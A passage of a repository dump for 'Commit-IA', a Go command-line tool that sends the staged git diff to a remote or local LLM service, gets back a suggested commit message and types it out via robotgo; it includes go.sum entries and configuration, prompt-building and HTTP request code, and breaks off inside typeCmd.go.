58 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934/go.mod h1:SxQhJskUJ4rleVU44YvnrdvxQr0tKy5SRSigBrCgyyQ=
59 | github.com/robotn/xgb v0.10.0 h1:O3kFbIwtwZ3pgLbp1h5slCQ4OpY8BdwugJLrUe6GPIM=
60 | github.com/robotn/xgb v0.10.0/go.mod h1:SxQhJskUJ4rleVU44YvnrdvxQr0tKy5SRSigBrCgyyQ=
61 | github.com/robotn/xgbutil v0.10.0 h1:gvf7mGQqCWQ68aHRtCxgdewRk+/KAJui6l3MJQQRCKw=
62 | github.com/robotn/xgbutil v0.10.0/go.mod h1:svkDXUDQjUiWzLrA0OZgHc4lbOts3C+uRfP6/yjwYnU=
63 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
64 | github.com/shirou/gopsutil/v4 v4.25.1 h1:QSWkTc+fu9LTAWfkZwZ6j8MSUk4A2LV7rbH0ZqmLjXs=
65 | github.com/shirou/gopsutil/v4 v4.25.1/go.mod h1:RoUCUpndaJFtT+2zsZzzmhvbfGoDCJ7nFXKJf8GqJbI=
66 | github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
67 | github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
68 | github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
69 | github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
70 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
71 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
72 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
73 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
74 | github.com/tailscale/win v0.0.0-20250213223159-5992cb43ca35 h1:wAZbkTZkqDzWsqxPh2qkBd3KvFU7tcxV0BP0Rnhkxog=
75 | github.com/tailscale/win v0.0.0-20250213223159-5992cb43ca35/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8=
76 | github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
77 | github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
78 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU=
79 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY=
80 | github.com/tklauser/numcpus v0.9.0 h1:lmyCHtANi8aRUgkckBgoDk1nHCux3n2cgkJLXdQGPDo=
81 | github.com/tklauser/numcpus v0.9.0/go.mod h1:SN6Nq1O3VychhC1npsWostA+oW+VOQTxZrS604NSRyI=
82 | github.com/vcaesar/gops v0.40.0 h1:I+1RCGiV+LkZJUYNzAd373xs0uM2UyeFdZBmow8HfCM=
83 | github.com/vcaesar/gops v0.40.0/go.mod h1:3u/USW7JovqUK6i13VOD3qWfvXXd2TIIKE4PYIv4TOM=
84 | github.com/vcaesar/imgo v0.40.2 h1:5GWScRLdBCMtO1v2I1bs+ZmDLZFINxYSMZ+mtUw5qPM=
85 | github.com/vcaesar/imgo v0.40.2/go.mod h1:MVCl+FxHI2gTgmiHoi0n5xNCbYcfv9SVtdEOUC92+eo=
86 | github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
87 | github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
88 | github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
89 | github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
90 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
91 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
92 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
93 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
94 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
95 | golang.org/x/exp v0.0.0-20250215185904-eff6e970281f h1:oFMYAjX0867ZD2jcNiLBrI9BdpmEkvPyi5YrBGXbamg=
96 | golang.org/x/exp v0.0.0-20250215185904-eff6e970281f/go.mod h1:BHOTPb3L19zxehTsLoJXVaTktb06DFgmdW6Wb9s8jqk=
97 | golang.org/x/image v0.24.0 h1:AN7zRgVsbvmTfNyqIbbOraYL8mSwcKncEj8ofjgzcMQ=
98 | golang.org/x/image v0.24.0/go.mod h1:4b/ITuLfqYq1hqZcjofwctIhi7sZh2WaCjvsBNjjya8=
99 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
100 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
101 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
102 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
103 | golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY=
104 | golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E=
105 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
106 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
107 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
108 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
109 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
110 | golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
111 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
112 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
113 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
114 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
115 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
116 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
117 | golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20=
118 | golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
119 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
120 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
121 | golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o=
122 | golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw=
123 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
124 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
125 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
126 | golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
127 | golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0=
128 | golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU=
129 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
130 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
131 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
132 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
133 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
134 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
135 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
136 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
137 |
--------------------------------------------------------------------------------
/cmd/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | services "github.com/usefulstack/Commit-IA/services"
8 | "github.com/usefulstack/Commit-IA/services/cli"
9 | configpath "github.com/usefulstack/Commit-IA/services/configPath"
10 | "github.com/usefulstack/Commit-IA/tools"
11 | )
12 |
13 | func main() {
14 |
15 | for _, arg := range os.Args[1:] {
16 | if arg == "--update" {
17 | if err := services.UpdateConfig(); err != nil {
18 | fmt.Printf("Error updating configuration: %v\n", err)
19 | os.Exit(1)
20 | }
21 | fmt.Println("Configuration updated. Run 'commitia' to use.")
22 | os.Exit(0)
23 | }
24 | }
25 |
26 | config, err := configpath.LoadConfig()
27 | if err != nil {
28 | fmt.Printf("Error loading configuration: %v\n", err)
29 | return
30 | }
31 |
32 | if config == nil {
33 | config, err = services.FirstTimeSetup()
34 | if err != nil {
35 | fmt.Printf("Error in initial configuration: %v\n", err)
36 | return
37 | }
38 | fmt.Println("Initial configuration complete. Run 'commitia' to use.")
39 | os.Exit(0)
40 | }
41 |
42 | if !config.UseRemote {
43 | provider := services.FindProviderByName(config.Provider)
44 | if provider != nil {
45 | os.Setenv(provider.EnvVar, config.APIKey)
46 | }
47 | }
48 |
49 | projectPath, err := tools.GetProjectPath()
50 | if err != nil {
51 | fmt.Println(err)
52 | return
53 | }
54 |
55 | outDiff, err := tools.RunGitDiff(projectPath)
56 |
57 | if err != nil {
58 | fmt.Println(err)
59 | return
60 | }
61 |
62 | if outDiff == "" {
63 | fmt.Println("No changes detected in the project.")
64 | return
65 | }
66 |
67 | serviceURL := services.GetServiceURL(config)
68 |
69 | if config.UseRemote {
70 | fmt.Println("Using remote service:", serviceURL)
71 | } else {
72 | fmt.Println("Using local service:", serviceURL)
73 | }
74 |
75 | rootCmd := cli.ExecuteCLI(outDiff, serviceURL)
76 |
77 | rootCmd.Flags().StringP("description", "d", "", "Basic description of what was done in the commit")
78 | rootCmd.Flags().StringP("language", "l", "português", "Language in which the commit should be written")
79 | rootCmd.Flags().StringP("tag", "t", "", "Semantic commit tag e.g.: feat, fix, chore, etc")
80 | rootCmd.Flags().Bool("update", false, "Update LLM configuration")
81 |
82 | if err := rootCmd.Execute(); err != nil {
83 | fmt.Printf("Error executing CLI command: %v\n", err)
84 | os.Exit(1)
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/cmd/schema/schema.go:
--------------------------------------------------------------------------------
1 | package schemas
2 |
3 | type LLMConfig struct {
4 | Provider string `json:"provider"`
5 | Model string `json:"model"`
6 | APIKey string `json:"api_key"`
7 | UseRemote bool `json:"use_remote"`
8 | }
9 |
10 | type ProviderInfo struct {
11 | Name string `json:"name"`
12 | Models []string `json:"models"`
13 | EnvVar string `json:"env_var"`
14 | }
15 |
16 | type RequestPayload struct {
17 | Message string `json:"message"`
18 | }
19 |
20 | type ResponsePayload struct {
21 | Response string `json:"response"`
22 | }
23 |
24 | type CommitAnalyzerRequest struct {
25 | CodeChanges string `json:"code_changes"`
26 | Description string `json:"description"`
27 | Tag string `json:"tag"`
28 | Language string `json:"language"`
29 | }
30 |
--------------------------------------------------------------------------------
/cmd/services/cli/executeCli.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/usefulstack/Commit-IA/services"
7 | "github.com/usefulstack/Commit-IA/tools"
8 |
9 | "github.com/spf13/cobra"
10 | )
11 |
12 | func ExecuteCLI(outDiff string, url string) *cobra.Command {
13 | return &cobra.Command{
14 | Use: "commitia",
15 | Short: "A CLI tool for handling commits",
16 | Run: func(cmd *cobra.Command, args []string) {
17 |
18 | description, err := cmd.Flags().GetString("description")
19 |
20 | if err != nil {
21 | fmt.Printf("Error receiving commit description: %v\n", err)
22 | return
23 | }
24 |
25 | language, err := cmd.Flags().GetString("language")
26 |
27 | if err != nil {
28 | fmt.Printf("Error receiving commit language: %v\n", err)
29 | return
30 | }
31 |
32 | tagCommit, err := cmd.Flags().GetString("tag")
33 |
34 | if err != nil {
35 | fmt.Printf("Error receiving commit tag: %v\n", err)
36 | return
37 | }
38 |
39 | commitMessage := services.CreateCommitMessage(outDiff, language, description, tagCommit)
40 |
41 | response, err := services.SendCommitAnalysisRequest(url, commitMessage, description, language, tagCommit)
42 | if err != nil {
43 | fmt.Printf("Error sending message: %v\n", err)
44 | return
45 | }
46 |
47 | err = tools.Typecmd(response.Response)
48 |
49 | if err != nil {
50 | fmt.Printf("Error typing command: %v\n", err)
51 | return
52 | }
53 | },
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/cmd/services/configLocalLLM.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/AlecAivazis/survey/v2"
7 | "github.com/usefulstack/Commit-IA/global"
8 | schemas "github.com/usefulstack/Commit-IA/schema"
9 | )
10 |
11 | func configureLocalLLM() (*schemas.LLMConfig, error) {
12 | config := &schemas.LLMConfig{
13 | UseRemote: false,
14 | }
15 |
16 | var providerNames []string
17 | for _, p := range global.Providers {
18 | providerNames = append(providerNames, p.Name)
19 | }
20 |
21 | var providerName string
22 | prompt := &survey.Select{
23 | Message: "Choose LLM provider:",
24 | Options: providerNames,
25 | }
26 | if err := survey.AskOne(prompt, &providerName); err != nil {
27 | return nil, fmt.Errorf("error selecting provider: %v", err)
28 | }
29 |
30 | provider := FindProviderByName(providerName)
31 | if provider == nil {
32 | return nil, fmt.Errorf("invalid provider: %s", providerName)
33 | }
34 |
35 | config.Provider = providerName
36 |
37 | var modelName string
38 | modelPrompt := &survey.Select{
39 | Message: "Choose LLM model:",
40 | Options: provider.Models,
41 | }
42 | if err := survey.AskOne(modelPrompt, &modelName); err != nil {
43 | return nil, fmt.Errorf("error selecting model: %v", err)
44 | }
45 |
46 | config.Model = modelName
47 |
48 | var apiKey string
49 | apiKeyPrompt := &survey.Password{
50 | Message: fmt.Sprintf("Enter your API key for %s (%s):", providerName, provider.EnvVar),
51 | }
52 | if err := survey.AskOne(apiKeyPrompt, &apiKey); err != nil {
53 | return nil, fmt.Errorf("error reading API key: %v", err)
54 | }
55 |
56 | config.APIKey = apiKey
57 | return config, nil
58 | }
59 |
--------------------------------------------------------------------------------
/cmd/services/configPath/getFilePath.go:
--------------------------------------------------------------------------------
1 | package configpath
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | "runtime"
8 | )
9 |
10 | func getConfigFilePath() (string, error) {
11 |
12 | _, currentFile, _, ok := runtime.Caller(0)
13 | if !ok {
14 | return "", fmt.Errorf("error getting current file path")
15 | }
16 |
17 | baseDir := filepath.Dir(filepath.Dir(filepath.Dir(filepath.Dir(currentFile))))
18 |
19 | configDir := filepath.Join(baseDir, "bot", "app", "config")
20 |
21 | if err := os.MkdirAll(configDir, 0755); err != nil {
22 | return "", fmt.Errorf("error creating config directory: %v", err)
23 | }
24 |
25 | return filepath.Join(configDir, "config.json"), nil
26 | }
27 |
--------------------------------------------------------------------------------
/cmd/services/configPath/loadConfig.go:
--------------------------------------------------------------------------------
1 | package configpath
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "io/ioutil"
7 | "os"
8 |
9 | schemas "github.com/usefulstack/Commit-IA/schema"
10 | )
11 |
12 | func LoadConfig() (*schemas.LLMConfig, error) {
13 | configPath, err := getConfigFilePath()
14 | if err != nil {
15 | return nil, err
16 | }
17 |
18 | if _, err := os.Stat(configPath); os.IsNotExist(err) {
19 | return nil, nil
20 | }
21 |
22 | data, err := ioutil.ReadFile(configPath)
23 | if err != nil {
24 | return nil, fmt.Errorf("error reading config file: %v", err)
25 | }
26 |
27 | var config schemas.LLMConfig
28 | if err := json.Unmarshal(data, &config); err != nil {
29 | return nil, fmt.Errorf("error parsing config file: %v", err)
30 | }
31 |
32 | return &config, nil
33 | }
34 |
--------------------------------------------------------------------------------
/cmd/services/configPath/saveConfig.go:
--------------------------------------------------------------------------------
1 | package configpath
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "os"
7 | "path/filepath"
8 |
9 | schemas "github.com/usefulstack/Commit-IA/schema"
10 | )
11 |
12 | func SaveConfig(config *schemas.LLMConfig) error {
13 | configPath, err := getConfigFilePath()
14 | if err != nil {
15 | return err
16 | }
17 |
18 | data, err := json.MarshalIndent(config, "", " ")
19 | if err != nil {
20 | return fmt.Errorf("error serializing config: %v", err)
21 | }
22 |
23 | configDir := filepath.Dir(configPath)
24 | if err := os.MkdirAll(configDir, 0755); err != nil {
25 | return fmt.Errorf("error creating config directory: %v", err)
26 | }
27 |
28 | if err := os.WriteFile(configPath, data, 0600); err != nil {
29 | return fmt.Errorf("error writing config file: %v", err)
30 | }
31 |
32 | fmt.Println("Configuration saved successfully to:", configPath)
33 | return nil
34 | }
35 |
--------------------------------------------------------------------------------
/cmd/services/createCommitMessage.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/usefulstack/Commit-IA/tools"
7 | )
8 |
9 | func CreateCommitMessage(diffOutput, language, description, tagCommit string) string {
10 | formattedDiff := tools.FormatGitDiff(diffOutput)
11 |
12 | prompt := fmt.Sprintf(`
13 |
14 | Informações fornecidas:
15 | - Utilize obrigatoriamente o idioma **%s** na resposta.
16 | - Tag do commit que deve ser utilizada: %s
17 | - Descrição básica da mudança: %s
18 | - Mudanças detalhadas no comando git diff:
19 |
20 | %s
21 |
22 | Escreva a mensagem do commit usando poucas palavras e no idioma: **%s**.
23 | `, language, tagCommit, description, formattedDiff, language)
24 |
25 | return prompt
26 | }
27 |
--------------------------------------------------------------------------------
/cmd/services/findProvider.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "github.com/usefulstack/Commit-IA/global"
5 | schemas "github.com/usefulstack/Commit-IA/schema"
6 | )
7 |
8 | func FindProviderByName(name string) *schemas.ProviderInfo {
9 | for _, p := range global.Providers {
10 | if p.Name == name {
11 | return &p
12 | }
13 | }
14 | return nil
15 | }
16 |
--------------------------------------------------------------------------------
/cmd/services/firstTimeSetup.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/AlecAivazis/survey/v2"
7 | schemas "github.com/usefulstack/Commit-IA/schema"
8 | configpath "github.com/usefulstack/Commit-IA/services/configPath"
9 | "github.com/usefulstack/Commit-IA/tools"
10 | )
11 |
12 | func FirstTimeSetup() (*schemas.LLMConfig, error) {
13 | fmt.Println("Welcome to CommitIA! Let's configure the LLM service.")
14 |
15 | options := []string{
16 | "Web: Simple and fast to use, no extra configuration needed",
17 | "Local: Faster response times but requires provider, model, and API key configuration + Docker",
18 | }
19 |
20 | var selection string
21 | prompt := &survey.Select{
22 | Message: "How do you want to use CommitIA?",
23 | Options: options,
24 | Default: options[0],
25 | }
26 |
27 | if err := survey.AskOne(prompt, &selection); err != nil {
28 | return nil, fmt.Errorf("error reading response: %v", err)
29 | }
30 |
31 | useRemote := selection == options[0]
32 |
33 | var config *schemas.LLMConfig
34 | var err error
35 |
36 | if !useRemote {
37 | config, err = configureLocalLLM()
38 | if err != nil {
39 | return nil, err
40 | }
41 | } else {
42 | config = tools.CreateRemoteConfig()
43 | }
44 |
45 | if err := configpath.SaveConfig(config); err != nil {
46 | return nil, err
47 | }
48 |
49 | fmt.Println("Configuration saved successfully!")
50 | return config, nil
51 | }
52 |
--------------------------------------------------------------------------------
/cmd/services/getServiceUrl.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "github.com/usefulstack/Commit-IA/global"
5 | schemas "github.com/usefulstack/Commit-IA/schema"
6 | )
7 |
8 | func GetServiceURL(config *schemas.LLMConfig) string {
9 | if config.UseRemote {
10 | return global.DefaultRemoteURL
11 | }
12 | return global.DefaultLocalURL
13 | }
14 |
--------------------------------------------------------------------------------
/cmd/services/requestBot.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "bytes"
5 | "encoding/json"
6 | "fmt"
7 | "io"
8 | "net/http"
9 |
10 | schemas "github.com/usefulstack/Commit-IA/schema"
11 | )
12 |
13 | func SendCommitAnalysisRequest(url string, codeChanges, description, tag, language string) (*schemas.ResponsePayload, error) {
14 | payload := schemas.CommitAnalyzerRequest{
15 | CodeChanges: codeChanges,
16 | Description: description,
17 | Tag: tag,
18 | Language: language,
19 | }
20 |
21 | jsonData, err := json.Marshal(payload)
22 | if err != nil {
23 | return nil, fmt.Errorf("error serializing commit analysis payload: %v", err)
24 | }
25 |
26 | resp, err := http.Post(url, "application/json", bytes.NewBuffer(jsonData))
27 | if err != nil {
28 | return nil, fmt.Errorf("error making POST request: %v", err)
29 | }
30 |
31 | defer resp.Body.Close()
32 |
33 | if resp.StatusCode != http.StatusOK {
34 | body, _ := io.ReadAll(resp.Body)
35 | return nil, fmt.Errorf("API response error: %s, body: %s", resp.Status, string(body))
36 | }
37 |
38 | body, err := io.ReadAll(resp.Body)
39 | if err != nil {
40 | return nil, fmt.Errorf("error reading response: %v", err)
41 | }
42 |
43 | var responsePayload schemas.ResponsePayload
44 | err = json.Unmarshal(body, &responsePayload)
45 | if err != nil {
46 | return nil, fmt.Errorf("error deserializing response: %v", err)
47 | }
48 |
49 | return &responsePayload, nil
50 | }
51 |
--------------------------------------------------------------------------------
/cmd/services/updateConfig.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/AlecAivazis/survey/v2"
7 | services "github.com/usefulstack/Commit-IA/services/configPath"
8 | "github.com/usefulstack/Commit-IA/tools"
9 | )
10 |
11 | func UpdateConfig() error {
12 | existingConfig, _ := services.LoadConfig()
13 |
14 | fmt.Println("=== CommitIA Configuration ===")
15 |
16 | options := []string{
17 | "Web: Simple and fast to use, no extra configuration needed",
18 | "Local: Faster response times but requires provider, model, and API key configuration + Docker",
19 | }
20 |
21 | var selection string
22 | prompt := &survey.Select{
23 | Message: "How do you want to use CommitIA?",
24 | Options: options,
25 | Default: options[0],
26 | }
27 |
28 | if err := survey.AskOne(prompt, &selection); err != nil {
29 | return fmt.Errorf("error reading response: %v", err)
30 | }
31 |
32 | useRemote := selection == options[0]
33 |
34 | if useRemote {
35 | if existingConfig != nil {
36 | if !existingConfig.UseRemote {
37 | existingConfig.UseRemote = true
38 | if err := services.SaveConfig(existingConfig); err != nil {
39 | return err
40 | }
41 | fmt.Println("Switched to remote web service.")
42 | } else {
43 | fmt.Println("Keeping existing remote configuration.")
44 | }
45 | return nil
46 | }
47 |
48 | config := tools.CreateRemoteConfig()
49 | if err := services.SaveConfig(config); err != nil {
50 | return err
51 | }
52 |
53 | fmt.Println("Default web service configuration saved successfully!")
54 | return nil
55 | }
56 |
57 | config, err := configureLocalLLM()
58 | if err != nil {
59 | return err
60 | }
61 |
62 | if err := services.SaveConfig(config); err != nil {
63 | return err
64 | }
65 |
66 | fmt.Println("Local configuration updated successfully!")
67 | return nil
68 | }
69 |
--------------------------------------------------------------------------------
/cmd/tools/createRemoteConfig.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import schemas "github.com/usefulstack/Commit-IA/schema"
4 |
5 | func CreateRemoteConfig() *schemas.LLMConfig {
6 | return &schemas.LLMConfig{
7 | UseRemote: true,
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/cmd/tools/formatDiff.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "fmt"
5 | "strings"
6 | )
7 |
8 | func FormatGitDiff(diffOutput string) string {
9 | var formattedDiff strings.Builder
10 |
11 | files := strings.Split(diffOutput, "diff --git")
12 | for _, fileDiff := range files[1:] {
13 | lines := strings.Split(fileDiff, "\n")
14 | if len(lines) == 0 {
15 | continue
16 | }
17 |
18 | splitLine := strings.Split(lines[0], " b/")
19 | fileName := "arquivo desconhecido"
20 | if len(splitLine) > 1 {
21 | fileName = splitLine[1]
22 | }
23 |
24 | formattedDiff.WriteString(fmt.Sprintf("# Arquivo: %s\n", fileName))
25 | formattedDiff.WriteString("## Mudanças\n")
26 |
27 | for _, line := range lines {
28 | if strings.HasPrefix(line, "+") && !strings.HasPrefix(line, "+++") {
29 | formattedDiff.WriteString(fmt.Sprintf("+ Adicionado: %s\n", strings.TrimSpace(line[1:])))
30 | } else if strings.HasPrefix(line, "-") && !strings.HasPrefix(line, "---") {
31 | formattedDiff.WriteString(fmt.Sprintf("- Removido: %s\n", strings.TrimSpace(line[1:])))
32 | }
33 | }
34 |
35 | formattedDiff.WriteString("\n---\n")
36 | }
37 |
38 | return formattedDiff.String()
39 | }
40 |
--------------------------------------------------------------------------------
/cmd/tools/getProjectPath.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | )
7 |
8 | func GetProjectPath() (string, error) {
9 | projectPath, err := os.Getwd()
10 | if err != nil {
11 | return "", fmt.Errorf("erro ao obter o diretório atual: %v", err)
12 | }
13 | return projectPath, nil
14 | }
15 |
--------------------------------------------------------------------------------
/cmd/tools/runGitDiff.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "os/exec"
7 | )
8 |
9 | func RunGitDiff(projectPath string) (string, error) {
10 | cmd := exec.Command("git", "diff", "--cached")
11 | cmd.Dir = projectPath
12 |
13 | var out, stderr bytes.Buffer
14 | cmd.Stdout = &out
15 | cmd.Stderr = &stderr
16 |
17 | if err := cmd.Run(); err != nil {
18 | return "", fmt.Errorf("error executing git diff command: %s", stderr.String())
19 | }
20 |
21 | return out.String(), nil
22 | }
23 |
--------------------------------------------------------------------------------
/cmd/tools/typeCmd.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "runtime"
7 | "strings"
8 | "time"
9 |
10 | "github.com/go-vgo/robotgo"
11 | )
12 |
13 | func isWSL() bool {
14 | if runtime.GOOS != "linux" {
15 | return false
16 | }
